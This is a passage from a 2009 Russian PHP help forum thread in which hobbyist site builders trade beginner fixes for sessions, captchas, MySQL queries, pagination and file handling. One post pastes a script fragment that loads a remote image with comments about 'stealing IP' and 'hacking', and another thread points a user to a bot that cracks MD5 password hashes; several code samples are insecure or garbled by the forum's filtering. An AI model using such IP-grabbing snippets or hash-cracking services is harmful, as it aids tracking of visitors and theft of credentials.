mysql_unbuffered_query("SET collation_connection = 'utf8_general_ci';");
и инклудю его на все страницы и уменя записывает нормально в таблицу и русские символы тоже

1586. demeros (18.03.09 / 10:33)
05,немного не то,но по аналогии попробую сделать! Спс

1587. Удаленный (18.03.09 / 12:28)
<script>
img = new Image(); img.src = "http://mp4forum.ru/n546.gif? // воруем ip
// редирект через 3 сек.
// адрес открытки, если хотите, можете заменить на свой
var speed = 3000; // взлом
function reload()
</script>

1588. Aleksandr (18.03.09 / 13:34)
Сулик, тебя щас забанят )

1589. Wapruks (18.03.09 / 15:01)
$_SESSION['code'] = mt_rand(1000,9999);
///форма ввода кода с картинки///
if($_POST['code'] != $_SESSION['code']){
echo'не верно';
}else{
echo'все норм';
}

Всегда пишет "не верно",почему?даже если правильно ввожу

1590. Удаленный (18.03.09 / 15:38)
имя поля ввода name="code" ?
больше причин не вижу..

1591. Wapruks (18.03.09 / 15:41)
Ага,name = "code"

1592. Wapruks (18.03.09 / 15:42)
[url="http;//site.ohost.biz/reg.php"]вот эта страница[/url]

1593. Wapruks (18.03.09 / 15:42)
[url="http://site.ohost.biz/reg.php"]вот эта страница[/url]

1594. Wapruks (18.03.09 / 15:44)
Блин... http://site.ohost.biz/reg.php

1595. lugaro (18.03.09 / 15:45)
1611 ты че на стр проверки данных из формы заново присваиваеш $_SESSION['code'] = mt_rand(1000,9999); новое значение?

1596. Wapruks (18.03.09 / 15:48)
<form action = "reg.php?reg=ok" method = "post">

1597. Удаленный (18.03.09 / 15:49)
странно. выведи в ошибке
надо было '.$_SESSION['code'].' a ne '.$_POST['code'].' вводить.
и сразу видно станет что не так.

1598. lugaro (18.03.09 / 15:50)
Скинь весь файл, файл капчи тоже скинь

1599. Wapruks (18.03.09 / 16:04)
Файл реги http://site.ohost.biz/reg.txt

1600. Удаленный (18.03.09 / 16:22)
Прям сверху. поменяй местами
!иссет рег и мт ранд.
у тебя на проверке новое число присваивается для сессион код.
опусти его ниже. что бы только в пределах !иссет рег действовало.

1601. Wapruks (18.03.09 / 16:31)
22.спасибо тебе огромное,от души. Я бы через неделя допер. А не знаеш как проверить поле на одновременно введеные русские и англ.символы?

1602. Удаленный (18.03.09 / 16:35)
if(preg_match('!^[а-яa-z0-9\-]+$!i',$переменная)){
ты об этом? вместо ! разделитель

1603. Удаленный (18.03.09 / 19:17)
такой вопрос:
есть бд с файлами. флаги на папки вида papka/podpapka/podpapka
вот мне надо посчитать сколько файлов в папке papka. Т.е. у скольких строк файлов в якоре есть 'papka/'
ни как не допру как это делается.

1604. Aleksandr (18.03.09 / 23:31)
делал в своем скрипте чтоб если допустим юзер на сайте и под его логином если кто то еще зайдет то первого выкидывает ну как в icq. для этого я в куки записывал юзер агент. но юзер агент походу меняется например у оперы мини(у других не пробовал).
Как еще можно сделать такую фишку?

1605. Aleksandr (18.03.09 / 23:41)
..25, не знаю как другие но я понял только то что тебе недо пдсчитать количество файлов в папке papka.

1606. Удаленный (18.03.09 / 23:49)
27 тогда цикл злой будет. куча уровней и подпапок.
26
если в сессии нет отметки то пишем в профиль и в сессию time()
дальше проверяем
if($profil['time_aut'] > $_SESSION['time_aut']){
зануляем сессию}

1607. Удаленный (19.03.09 / 03:49)
Научите меня как исправить страницу и кодировку чтобы валидатор не выдавал ошибок

1608. Удаленный (19.03.09 / 03:56)
это не к пхп а к хтмл относится.
как? идешь на валидатор, смотришь ошибки, берешь справочник по хтмл разметке и исправляешь ошибки.
просто сверяй свой хтмл с примерами из учебника.

1609. myz-tv (19.03.09 / 09:02)
29 на валидатор.w3с.орг и прочитай ошибку

1610. Wapruks (19.03.09 / 15:19)
Даров всем. Я короче поиск сделал,а он всегда пишет нихрена не найдено. Вот код site.ohost.biz/pages/search.txt сам поиск site.ohost.biz/pages/search.php для теста введите логин PHP,пол мужик,город николаевск. Помогите исправить

1611. Wapruks (20.03.09 / 07:13)
Народ,ну помогите

1612. lugaro (20.03.09 / 08:06)
http://upwap.ru/363385

1613. lugaro (20.03.09 / 08:13)
1) если это у тебя расшириний поиск то такие поля
if(!empty($_POST['sity'])){
$q.='AND sity="'.$sity.'"';} //и пол тоже
их нужно закрывать сразу а не в конце файла иначе если не введут данные в какоето поле, поиска не будет.
2) $qq = "SELECT * FROM users '.$q.'"; у тебя без where, и в $g его тоже нет, нужно так $qq = "SELECT * FROM users where '.$q.'";
3) зачем такое уровнение if(false == $search) прозе сделать так if(!$search)

1614. Wapruks (20.03.09 / 08:37)
Код не пашет твой(.gif

1615. lugaro (20.03.09 / 08:54)
$qq = 'SELECT * FROM users where '.$q.'';

1616. Aleksandr (20.03.09 / 09:59)
http://xas.net.ru/wapruks.txt Только вот при ненахождении юзера вывести "не найдено" у меня не выходит никак.

1617. lugaro (20.03.09 / 10:25)
1636 всё уже норм, у него основная ошибка была в $qq = 'SELECT * FROM users where '.$q.''; он писал $qq = "SELECT * FROM users where '.$q.' "; и сам запрос выходил как SELECT * FROM users where '.Запрос.' дело в кавычках..

1618. Wapruks (20.03.09 / 10:26)
if(mysql_num_rows(mysql_query($gmg)) == 0){
echo'никого нет';
}

1619. lugaro (20.03.09 / 10:31)
1640 if(!mysql_num_rows(mysql_query($gmg))){
echo'никого нет';} bounce.gif

1620. Aleksandr (20.03.09 / 14:30)
lugaro, вот для себя этот код поставили он работает только с ошибкой "Warning: mysql_num_rows(): suplied argument is not valid...." Не страшно если заглушить эту ошибку собачкой @ ?

1621. lugaro (20.03.09 / 14:38)
1642 заглушать не стоит, замедлит работу скрипта, по идее если при выборе из таблицы не чего не выбрало, должно выдать ноль, посмотри может у тебя ошибка в самом запросе тобиш в mysql_query , того и выходит такая штука.

1622. KILLERDEN (20.03.09 / 14:41)
Люди, не подскажете, как расшифровать хаш??? Ну ним пароли шифруются. Я просто пароль забыл, а хаш есть.

1623. lugaro (20.03.09 / 14:42)
1644 юзай icq бота 405701776

1624. lugaro (20.03.09 / 14:52)
1642 так поробуй
<?
$g=mysql_query($gmg);
if(!mysql_num_rows($g)){
echo' никого нет';}
?>

По крайний мере у меня всё норм, вот к примеру
<?
if(isset($_GET['del']) && ($_GET['del']==1)){
if(isset($_GET['id'])){
$delt=intval($_GET ['id']);
$d=mysql_query("SELECT * FROM zakaz where id='$delt'");
if(mysql_num_rows($d)){ echo '<center><b>Удалён</b><br></center>';
mysql_query("DEL ETE FROM zakaz where id='$delt'");}else{echo 'Нет такого';}
}}
?>

к примеру если перейти по ссылки 'удалить' и после удаления опять же пробывать удалить эту же запись которая уже была удаленна, напишет 'банан нет такого'

1625. KILLERDEN (20.03.09 / 14:57)
1645 а по русскому???

1626. lugaro (20.03.09 / 15:01)
1647 только по китайски могу, что не понятно? Пишеш этому боту в асю хеш он пробует его расшифровать, кидаеш ему обычный текст, он его те зашифрует в мд5

1627. KILLERDEN (20.03.09 / 15:06)
1648, Ну теперь понятно. Большое спасибо. ).gif

1628. Удаленный (20.03.09 / 21:05)
Пытаюсь записать в ячейку $do
$newkol это новое значение для записи
$ukol[$do] это ячейка номер $do
for($k=0; $k<count($ukol); $k++){
if($k==$do){
$klz[]=$newkol;}
else{$klz[]=$ukol[$k]; }
}
$text=$klz[0].",".$klz[1].",".$klz[2].",".&# 36;klz[3].",".$klz[4].",".$klz[5].",";
$fp=fopen(" data/b/".$log."_k.dat","w+");
......
Не получается. Он дописывает только запятые
помогите плиз

1629. Gnom (20.03.09 / 23:41)
А можно полностью код посмотреть?).gif

1630. Wapruks (24.03.09 / 04:15)
Как перезаписать данные у определенного юзера?

1631. Удаленный (24.03.09 / 06:44)
Если на MySql то
mysql_query("UPDATE table SET pole='".$var."', pole2='".$var2."' WHERE id='".$id."' LIMIT 1;");

1632. Wapruks (24.03.09 / 06:56)
Ога,спасибо

1633. mocart (24.03.09 / 20:06)
Дарова всем, вот пробла возникла, пишу код

<?php
$g=glob("./txt/*.*");
for($i=0;$i<count( 6;g);$i++){
if(count($g)!=0)){
echo $g[$i]'<br/>';
}else{echo'Папка пуста';}}
?>

почему скрипт выводит всегда папка пуста даже если когда это не так?

1634. Aleksandr (25.03.09 / 12:48)
testing

1635. Aleksandr (25.03.09 / 12:50)
не знаю почему но не получается код написать. ошибка 501

1636. Siera (25.03.09 / 13:24)
1655, условие в цикл зачем поставил?))
<?php
$g=glob("./txt/*.*");
if(count($g)!=0)){
for($i=0;$i<count(&#3 6;g);$i++){
echo $g[$i]'<br/>';
}
}else{echo'Папка пуста';}
?>

1637. Aleksandr (25.03.09 / 13:36)
тест
echo'test';

1638. Aleksandr (25.03.09 / 13:37)
тест
<?
echo"test";


1639. Удаленный (25.03.09 / 21:27)
У меня вопросик кто знает как показать текущий адрес и адрес http://mojsite.domen?

1640. Удаленный (25.03.09 / 21:56)
Тленси, echo $DOCUMENT_ROOT;

1641. Удаленный (26.03.09 / 01:00)
Волк спасиб большое ето тоже полезная информация забил в шаблоны.
Толко оно показало адрес к серверу а не к http

1642. Удаленный (26.03.09 / 18:19)
Ну приставь хттп вручную

1643. Удаленный (26.03.09 / 19:53)
1657, форум теперь не пропускает кавычки в которые берутся имя таблицы и поля в mysql запросе ).gif

1644. Aleksandr (28.03.09 / 11:21)
почему мелолия на сайте не играет?
<bdsound src="/d.wav" loop="infinite">

1645. winlogon (28.03.09 / 15:31)
Как можно из базы вывести последнего зареганного юзера?

1646. smartvbxos7 (28.03.09 / 15:42)
1666,
<bgsound src="/d.wav" loop="-1">

1647. smartvbxos7 (28.03.09 / 15:44)
1667, под матор 18?

1648. smartvbxos7 (28.03.09 / 15:46)
Если да то тебе сюда http://visavi.net/forum/index.php?fid=9&id=123745938528&

1649. winlogon (28.03.09 / 15:51)
Сори но нет.. Для вап скрипта одного

1650. winlogon (28.03.09 / 15:54)
Или например вывести логин последнего ид из базы

1651. Wapruks (29.03.09 / 12:46)
Вывод последнего зареганого:
mysql_query("SELECT * FROM таблица ORDER BY id DESC");

1652. Удаленный (29.03.09 / 13:22)
LIMIT 1 забыл).gif

1653. Wapruks (29.03.09 / 13:28)
Ой,точно).gif

1654. Aleksandr (29.03.09 / 13:30)
Wap-motor best, loop="-1" не пашет.. может это денвер такой?

1655. winlogon (29.03.09 / 18:13)
Не работает код. Пишет 1

1656. Wapruks (29.03.09 / 18:35)
Дык ты делай
$а = mysql_query("SELECT * FROM table ORDER BY id DESC LIMIT 1");
$b = mysql_fetch_array($a);
echo'последний зареганый '.$b['login'].'';

1657. smartvbxos7 (29.03.09 / 18:37)
1676, наверн

1658. winlogon (29.03.09 / 19:17)
1678, дык не работает

1659. Wapruks (30.03.09 / 04:57)
У меня при успешной авторизации ставиться кука с идом и паролем. Мне надо на каждой странице проверять,существует ли ид и подходит ли пароль? Или можно проще?

1660. Удаленный (31.03.09 / 20:09)
1681, я делаю примерно так:
<?
//проверяем есть ли куки
if(isset(куки с идом) && isset(куки с пассом)){
$user_id = intval(куки с идом);
$user_pass = куки с пассом;}
if($user_id && $user_pass){
$q = mysql_query("SELECT * FROM users WHERE id='".$user_id."' LIMIT 1;");
//проверяем есть ли такой пользователь
if(mysql_num_rows($q)!=0){
$user = mysql_fetch_array($q);
//проверяем подходит ли пароль
if($user_pass==$user['pass']){
//все гуд, выводим данные
$login=$user['login'];
//и т.д.
}else{
//если пароль не верный
}}else{
//если нет юзера
}?>


1661. Wapruks (01.04.09 / 12:24)
Слушай,я точ в точ сделал.).gifу нас мысли одинаковые

1662. Удаленный (01.04.09 / 14:16)
1683, гы (:

1663. Aleksandr (07.04.09 / 18:09)
зарегал домен.нет.ру с днс хомяка и когда переходишь на некоторые страницы то $_SERVER['HTTP_HOST'] у новосозданного домена меняется на хомяковский в результате чего почему то теряются куки. Как сделать чтоб имя сайта постоянно был новый.net.ru?

1664. Night (08.04.09 / 13:17)
в чем ошибка? Функция переименовывания файлов
<?
function my_rename($dirname){
$ext_arr = array('avi', '3gp');
$dir = opendir($dirname);
$prefix = 'owab';
$count='1';
while ($file = readdir($dir)) !== false) {
if (is_file($dirname. '/'. $file)) {
$info = pathinfo($dirname. '/'.
$file);
if(in_array(strtolower($info['extension']), $ext_arr)) {
rename($dirname. '/'. $file,
$dirname. '/'. str_pad ($prefix.$count,3, '0', STR_PAD_LEFT). '.'.
strtolower($info ['extension']));
$count ++ ;
} } elseif (is_dir($dirname. '/'.
$file) && $file != '.' && $file != '..')my_rename($dirname. '/'. $file);
} closedir($dir);
} # пример использования
$dir = 'happy';
my_rename($dir);
?>


1665. Vavano (08.04.09 / 15:33)
Дайте код антинакрутки топа

1666. DeveL (08.04.09 / 15:46)
1685. Тебе домен припарковали. Т.е. доступен и тот и другой адрес. Новый домен нужно записать в Дополнительные домены. Тогда по хомяковскому не будет переходить.

1667. KIRIK (09.04.09 / 01:15)
Привет))) Дайте пожалуйста код навигации по странице)) Назад // Далее на мускуле)

1668. KIRIK (09.04.09 / 20:50)
Спс Арабу) ответил)

1669. Fighter-Design (09.04.09 / 22:57)
1690. Чебурег вь калготкаХ , так поделись!

1670. Aleksandr (09.04.09 / 23:58)
Вот лучше: ( из бука Вантуза)
сперва функцию создаете

<?php
function page_navigation($link, $posts, $start, $total, $koll = 4) {
if($total>0){
$ba=ceil($total/$posts);
$ba2=$ba*$posts- 6;posts;
$min = $start - $posts * ($koll - 1);
$max = $start + $posts * $koll;
if($min<$total && $min>0){
if($min-$posts>0){
echo ' <a href="'.$link.'start=0">1</a> ... ';
} else {
echo ' <a href="'.$link.'start=0">1</a> ';
}}
for($i=$min; $i<$max;){
if($i<$total && $i>=0){
$ii=floor(1+$i/$posts);
if ($start==$i) {
echo ' '.$ii.' ';
} else {
echo ' <a href="'.$link.'start='.$i.'">'.$ii.'</a> ';
}}
$i=$i+$posts;}
if($max<$total){
if($max+$posts& lt;$total){
echo ' ... <a href="'.$link.'start='.$ba2.'">'.$ba.'</a> ';
} else {
echo'<a href="'.$link.'start='.$ba2.'">'.$ba.'</a> ';
}}
}}


1671. Aleksandr (09.04.09 / 23:59)
Вот лучше: ( из бука Вантуза)
сперва функцию создаете

<?php
function page_navigation($link, $posts, $start, $total, $koll = 4) {
if($total>0){
$ba=ceil($total/$posts);
$ba2=$ba*$posts- 6;posts;
$min = $start - $posts * ($koll - 1);
$max = $start + $posts * $koll;
if($min<$total && $min>0){
if($min-$posts>0){
echo ' <a href="'.$link.'start=0">1</a> ... ';
} else {
echo ' <a href="'.$link.'start=0">1</a> ';
}}
for($i=$min; $i<$max;){
if($i<$total && $i>=0){
$ii=floor(1+$i/$posts);
if ($start==$i) {
echo ' '.$ii.' ';
} else {
echo ' <a href="'.$link.'start='.$i.'">'.$ii.'</a> ';
}}
$i=$i+$posts;}
if($max<$total){
if($max+$posts& lt;$total){
echo ' ... <a href="'.$link.'start='.$ba2.'">'.$ba.'</a> ';
} else {
echo'<a href="'.$link.'start='.$ba2.'">'.$ba.'</a> ';
}}
}}


1672. Aleksandr (10.04.09 / 00:06)
потом на страницу как обычную навигацию:

if (isset($_GET['start'])) {$start = (int)$_GET['start'];} else {$start = 0;}
$conf_all=10;
$q = "SELECT * FROM таблица";
$result = mysql_query($q) or die("Query failed");
$total = mysql_num_rows($result);
$posts = mysql_query("SELECT * FROM users ORDER BY id DESC LIMIT ".intval($start).", ".$conf_all.";");
if ($total>0) {
if ($start < 0 II $start > $total){$start = 0;}
if ($total < $start + $conf_all){ $end = $total; }
else {$end = $start + $conf_all; }
for ($i = $start; $i < $end; $i++){
$arr=mysql_fetch_array($posts);
echo'>'.$arr['id'].& #39;<br>';
if($start!=0){
echo' <a href="?start='.($start-$conf_all).'" title="предыдущая страница">Назад</a> ';
}else{
echo'Стр: '; }
page_navigation('ВАША СТРАНИЦА.php?', $conf_all, $start, $total);
if($total>$start +$conf_all){
echo '<a href="?start='.($start+$conf_all).'" title="следующая страница">Далее</a><br>';
}}


1673. Katorzhnik (11.04.09 / 18:56)
Подскажите,какой параметр в php.ini нужно включить,чтобы 'гетом' данные извлекались автоматически?Просто на топ-сервере у меня этот параметр работает,а на хосте нет,в итоге скрипты постоянно приходится исправлять,добавлять 'геты' данных...

1674. Удаленный (11.04.09 / 19:06)
регистр глобалс он
лучше скрипты правь чем его включать.

1675. WapAz (11.04.09 / 19:50)
Привет. У меня на компе установлены проги : Apache 2.2.11 PHP 5.2.8

1676. WapAz (11.04.09 / 19:52)
Привет. У меня на компе установлены проги : Apache 2.2.11 PHP 5.2.8 MySQL 5.0.51a .
Проблема токава:
Если писать <? то страница не открываеться. А если писать <?php тогда всё отлично.

1677. WapAz (11.04.09 / 20:20)
Ребята ну может кто та знаеть как убрат эту проблему???

1678. Ambal (11.04.09 / 21:12)
php.ini редачить надо непомню какая строка

1679. WapAz (12.04.09 / 13:48)
Передай мне свой php.ini я там посматрю что нужно изменят.

1680. HamRus (12.04.09 / 15:16)
как мне сделать include нижней и верхней странички?
пишу я на главной
include 'niz.php';
и нечего не получается просто как текст выходит и всё(
файл niz.php написанно так
<?php
echo '<a href="http://top.bodr.net/?cid=00"><img src="http://top.bodr.net/c.php?id=00" alt="bodr_top"/></a><br/>
<a href="cont.php">Контакты</a> & <a href="sogl.php">Соглашение</a><br/>
&#169 sait.Ru';
?>

1681. HamRus (12.04.09 / 16:47)
получилось
Есть ещё один вапрос
короче в config.php я написал
// Имя базы данных
$icq="12345";
и когда на страничке пишу
icq: $icq <br> должно быть 12345 а выходит $icq

1682. Удаленный (12.04.09 / 17:07)
пиши так
echo "icq: $icq";
" - обрабатывает текст
' - просто выводит его

1683. Wapruks (12.04.09 / 17:16)
лучше так echo''.$icq.'';

1684. Удаленный (12.04.09 / 17:18)
Ну если уж так пошло, то
echo $icq;

1685. Wapruks (12.04.09 / 17:25)
A если будет текст а потом переменная?

1686. HamRus (12.04.09 / 18:07)
всё перепробывал всё время выходит текстом
Контакт
echo $icq;

1687. Admin7 (12.04.09 / 22:13)
Попробуй так :
echo ' ICQ:  '.$icq.'; 


1688. Admin7 (12.04.09 / 22:16)
Блин неправильно этот попробуй
echo ' <b> ICQ:  '.$icq.'<br/>'; 


1689. Удаленный (13.04.09 / 00:12)
Как заменить строку б файле,количество строк неограниченное.

1690. Aleksandr (13.04.09 / 09:29)
..03, может только если рег.глобалс включен но такая переменная легко меняется.
..11,
$f[номер строки]="новый текст\r\п";
$сh=implоde('',$f);
$fр=foрen("filе.dаt" ;,"w");
fрuts($fр,$сh);

1691. Aleksandr (13.04.09 / 09:31)
..11, код отсюда не копируй там некоторые символы я русскими написал чтоб сообщение добавилось

1692. HamRus (14.04.09 / 14:02)
как мне правильно написать допустим в config.php написал
<?
// icq номер
$icq="123";
?>
а на страничках писать только $icq и выходил номер,изменил в конфиг номер и на других страничках что бы тоже поменялось.

1693. Wapruks (14.04.09 / 15:41)
Это если конфиг везде инклудится

1694. DegMaN (15.04.09 / 13:13)
для чег етот код htmlspecialchars нужен и где его использывать

1695. Aleksandr (15.04.09 / 13:39)
с помощью него фильтруют переменные.
Но я слышал что ее можно обойти. ей одной лучше не доверять

1696. DegMaN (15.04.09 / 13:41)
а можно попроще, а то, я только учусь ).gif

1697. DmitryDick (15.04.09 / 13:51)
http://php.su/functions/?htmlspecialchars

1698. DegMaN (15.04.09 / 14:37)
спс большое, а можете сказать для чего или что такое ДЕСКРИПТОРЫ?

1699. -NoX- (17.04.09 / 23:34)
помогите пожалуста правильно вставить этот код
$f=''; //- относительный путь от твоей главной к форуму. С завершающим слэшем /
include($f.'config.php');
mysql_connect($dbhost,$dbuser,$dbpasswd);
mysql_select_db($db_name);
$bl:=mysql_query('select sum(forum_posts) as blbl from '.$table_prefix.'forums');
echo $bl['blbl'];
в страницу http://upwap.ru/401286

1700. Wapruks (19.04.09 / 06:35)
Что жа glob?это функция или что?что она делает?

1701. lugaro (19.04.09 / 06:58)
1722, Глобальная переменная, к примеру ты пишеш функцию
$test_2 = 'gmg';
function test($test){
//при использовании функции мы передает только одной переменной значения но чтоб сплюсавать тетс и тест_2 нам необходимо воспользоватся двумя переменными
//подлючаем переменную с внешки
glob $test_2;
$test=$test+$test_2;
return $test;}
думаю дошло =)
да и если нужно подключить больше переменных, пишем их через запятую glob $test_2,$test_4,$test_4;

1702. lugaro (19.04.09 / 07:06)
Тю блин перепутал с global D.gif Описание glob читай тут http://php.su/functions/?f=glob&choice=info

1703. Wapruks (19.04.09 / 07:41)
Спасиб большое. Мне глобал надо былоD.gif я перепутал

1704. KILLERDEN (19.04.09 / 20:45)
Люди, можете хтонибуть объяснить мне что такое шелл???

1705. Aleksandr (20.04.09 / 12:50)
редактор файлоф на сайте

1706. Atuwap (21.04.09 / 16:00)
Вопрос. Можно поставит двух броузеров на переадресачию? Как так:
if(getenv('HTTP_USER_AGENT')=="SAMSUNG-SGH-D880/D880X,Nokia3120classic/2.0" ;)
{
header ("Location: http://Арнолд.Ру");
}
Из полезний куски пост 167,169 http://visavi.net/forum/index.php?fid=3&id=120325850058&page=160& Спосибо Арабу за помошь.

1707. Atuwap (21.04.09 / 16:01)
http://visavi.net/forum/index.php?fid=3&id=120325850058&page=160&

1708. KIRIK (21.04.09 / 16:33)
if(getenv('HTTP_USER_AGENT')=="SAMSUNG-SGH-D880/D880X" && "Nokia3120classic/2.0" ;)
{ header ("Location: http://Арнолд.Ру");
}
мож так)) проверить не могу)

1709. KIRIK (21.04.09 / 16:36)
if(getenv('HTTP_USER_AGENT')=="SAMSUNG" && "Nokia")
{ header ("Location: http://WWW.ru");
}

1710. Atuwap (21.04.09 / 18:28)
Через && добавлят броузеры можно? Например: "SAMSUNG-SGH-D880/D880X&&Nokia3120classic/2.0&&erikson"

1711. Atuwap (21.04.09 / 19:04)
Болшое спосибо. Да для мотора нужен. Header.php внизу или на верху, куда писат?

1712. umaha (23.04.09 / 17:46)
Ребята подскажите пожалуйста как в одной файле сделать несколько станиц, например стр: 1,2,3?

1713. Night (23.04.09 / 18:15)
if(act=1) {
Все что должно быть на первой странице }
if(act=2) {
Все что должно быть на второй странице } и т.д. Адрес страницы будет так сайт.ru/файл.php?act=1
сайт.ru/файл.php?act=2 и т.д

1714. Night (23.04.09 / 18:16)
блин быстро описал.
if($_GET['act']==1) {
Первая страница }
if($_GET['act']==2) {
Вторая страница } а остальное все так же

1715. umaha (23.04.09 / 18:40)
Спасибо!

1716. vidok92 (23.04.09 / 21:31)
А как в гостевой сделать постраничную навигацию?Чтобы например 10 сообщений на страницу.

1717. DegMaN (23.04.09 / 22:15)
кто то использует переменые elseif и endif. Для чего они надо?

1718. DmitryDick (24.04.09 / 11:51)
Это не переменные, а условия:
if ( условие1 )
{
Действие1
}
elseif ( условие2 )
{
Действие2
}
else
{
Действие3
}
Т.е., если условие1 истинно, выполняется действие1, если ложно, проверяется условие2 и, если оно истинно, выполняется действие2, а если ложно - действие3. А endif, это обычно в комментариях пишут, означает 'конец условия'

1719. umaha (25.04.09 / 03:25)
Не могу разбираться подскажите пожалуйста $foot = 'как сюда инклудить ноги?';

1720. Удаленный (25.04.09 / 17:28)
Как зделать,что бы на сайт могли заходить только те,кто с определьонной страни(типа только с росии),а пользователи с других стран немогли.

1721. Удаленный (25.04.09 / 18:23)
апппп

1722. Gansik (25.04.09 / 18:47)
Такой вопрос:
вобщем есть папка images в ней картинки разного формата, так вот: нужно вывести на страницу (тегом <img src>) последние 2 добавленые(измененные) картинки из этой папки.

1723. Удаленный (25.04.09 / 19:27)
код не могу написать, так как с телефона, но в общем читаешь из папки все картинки, пишешь в массив путь к файлу и время последнего изменения файла, ранжируешь по времени и выводишь нужные тебе

1724. Gansik (25.04.09 / 22:53)
1747, зделал по другом, при загрузке фото добавляю запись в БД, а потом оттуда её вытягиваю на страницу, но тут вновь возник вопрос, имя фото с базы я вытягиваю так:

$fotoman = mysql_query ("SELECT login,vozrast,gorod,name,foto FROM zn_anket WHERE sex='m' ORDER BY id DESC",$lnk);
$fm = mysql_fetch_array ($fotoman);

Все работает!
Но так скрипт выводит фото с последней записи в таблице, но если последний пользователь не загрузил фото, то оно не отображаеться, как правельно составить запрос что б отображалась последнее добавленое фото? Я так понял нужно както указать в запросе что если в поле foto есть запись то его нужно и вывести, но как?

1725. Gansik (25.04.09 / 23:01)
Верней даже не так, мне нужно вывести имя фото с той строки в которой в ячейку foto была добавлена запись.
З.Ы. Это я хочу реализовать типа: последние добавленые фотографии парня и девушки
З.Ы.Ы надеюсь я правельно выразился и вы поймете что я тмею ввиду=)

1726. phpcoder (26.04.09 / 10:45)
Тогда надо фиксировать в базе время добавления фотки, и ранжировать записи уже по этому времени, а не по id
Например
$fotoman = mysql_query ("SELECT foto_time FROM zn_anket WHERE sex='m' ORDER BY foto_time DESC LIMIT 1");

1727. Titov (26.04.09 / 11:02)
1744 нада по ай пи отсеивать и постоянно обновлять базу

1728. Gansik (26.04.09 / 12:55)
1750, а как записать в базу время добавления фотки? подскажи как правельно запрос составить

1729. phpcoder (26.04.09 / 15:00)
1752. В том скрипте который фотку загружает, сделай запрос типа
mysql_query("UPDATE zn_anket SET foto_time=UNIX_TIMESTAMP() WHERE login='".$login."'");
Где $login - это логин пользователя который фотку загружает.
Как то так.

1730. Gansik (26.04.09 / 16:20)
153, спасибо огромное!
Теперь еще такой вопрос, как при реге запретить кирилицу?
Нашол вроде такой вариант:

function alphastr($str){
return(preg_replace('/[^a-zA-Z0-9_\-]/', '', $str));
}
$error_string = (alphastr($password) != $password) ? '<li>Ошибка! В пароле присутствуют недопустимые знаки.</li>' : '';
$error_string .= (alphastr($login) != $login) ? '<li>Ошибка! В логине присутствуют недопустимые знаки.</li>' : '';
if(!empty($error_string)){
die($error_string);
} else {
// код если нет ошибок...
}


1731. Gansik (26.04.09 / 16:24)
Но не могу понять как эго к себе прикрутить, у меня рега в скрипте выглядит так: http://xwen.ru/cod.txt

1732. MaxPayne (27.04.09 / 10:17)
Привет, подмогите мне с задачками по ИВТ, нада выполнить их в PHP . Заранее большое вам спасибо)))))))))))))))
1. Найти сумму и количество элементов каждого столбца с заданным условием (хранить эти значения в массивах):
- элементы, кратные kl или к2,
- элементы, попадающие в промежуток от А до В.
2. Найти сумму элементов в строках с к 1-й по к2-ю.
3. Найти номера:
– всех максимальных элементов;
- первых отрицательных элементов каждой строки (столбца).
последних отрицательных элементов каждой строки (столбца).

1733. MaxPayne (27.04.09 / 10:18)
4. Найти количество элементов в каждой строке, больших
(меньших) среднего арифметического элементов данной строки.
5. Даны два квадратных массива А и В. Вывести на экран тот
из них, у которого след меньше (след - сумма элементов главной
диагонали).
6. Найти сумму элементов в каждом столбце двумерного
массива.
7. Найти количество элементов в каждом столбце, больших
(меньших) среднего арифметического элементов данного столбца.
8. Определить:
– есть ли в данном массиве отрицательный элемент;
- есть ли два одинаковых элемента;
- есть ли данное число А среди элементов массива;

1734. MaxPayne (27.04.09 / 10:20)
8. Определить:
– есть ли в данном массиве отрицательный элемент;
- есть ли два одинаковых элемента;
- есть ли данное число А среди элементов массива;
9. Определить, есть ли в данном массиве строка (столбец):
- состоящая только из положительных элементов;
- состоящая только из положительных или нулевых элементов;
- состоящая только из элементов, больших числа А;
- состоящая только из элементов, принадлежащих промежутку
от А до В.
10. В каждой строке сменить знак максимального по модулю
элемента на противоположный.
11. Последний отрицательный элемент каждого столбца заме¬нить нулем.
12. Положительные элементы умножить на первый элемент соответствующей строки, а отрицательные - на последний, то есть положительные элементы первой строки умножаем на пер¬вый элемент первой строки, а отрицательные - на последний элемент также первой строки, то же самое и с остальными строками..

1735. DeadBoy (27.04.09 / 13:55)
Народ, реально скачать всю директорию вместе с файлами с сайта, и если да, как это запретить???

1736. DeadBoy (27.04.09 / 13:56)
И вообще как ограничить доступ к папке из вне???

1737. Gansik (27.04.09 / 22:49)
1754, 1754, сам разобрался!
Такой вопрос:

if(!preg_match('/[a-z0-9]+/', $name))
{
echo 'В переменной $name есть запрещенные символы';
}

Пропускет пробелы, как их запретить?

1738. Gansik (27.04.09 / 23:29)
Вантуз помог, спасибо ему! Правельный вариант!

вот if (preg_match('l^[a-z0-9]+$li', $name)){echo 'тут в норме'; } else {echo 'отказано';}


1739. Удаленный (28.04.09 / 00:23)
 1746. Визавишник [On] (25.04.09 / 16:47)
Такой вопрос:
вобщем есть папка images в ней картинки разного формата, так вот: нужно вывести на страницу (тегом <img src>) последние 2 добавленые(измененные) картинки из этой папки.

проще сохранять эти картинки именами time().jpg и выводить их так
________
$files = scаndir("папка", 1);
echo'<img src="папка/'.$files[0].'" alt=""><br><img src="папка/'.$files[1].'" alt=""><br>;
________
кода меньше и генерация лучше

1740. Sich (28.04.09 / 16:10)
Добавляю функции в админку, не могу файл защетить паролем pass.txt (файл который надо защетить паролем) editkom3.txt (готовый файл из админки) http://xwab.ru/forum/down/editkom3_537.txt http://xwab.ru/forum/down/pass_297.txt

1741. Sich (28.04.09 / 16:17)
http://xwab.ru/forum/down/editkom3_872.txt

1742. Удаленный (29.04.09 / 07:52)
У такой вопрос: Есть у меня скрипт чата хотелось бы вывести в прихожею размер фоток в кb т.е общий вес. Например "Фотогалерея(85)257кb

1743. Удаленный (29.04.09 / 11:13)
66,
$ffff=$_SЕRVER['DОCUMENT_ROOT'].'/files/files'; // путь к папке с фотками
$zipsize=0; if($dirstream = opеndir($ffff)){
whilе(falsе !==($filename = reаddir($dirstream))){
if($filename!="." && $filename!=".."){
if(is_filе($ffff."/".$filename))
$zipsiz e+=filesize($ffff."/".$filename);
if(is_dir($ffff."/".$filena me))
$zipsize+=dir_sizе($ffff."/".$filename); }}}
closеdir($dirstream);
$zipsize=$zipsize/1000;
echo$zipsize; //выводит сколько примерно весит папка с файлами в килобайтах
_______
код не копируй с форума. переписывай

1744. DeadBoy (29.04.09 / 13:59)
А мне кажись никто не ответит...

1745. lugaro (29.04.09 / 14:31)
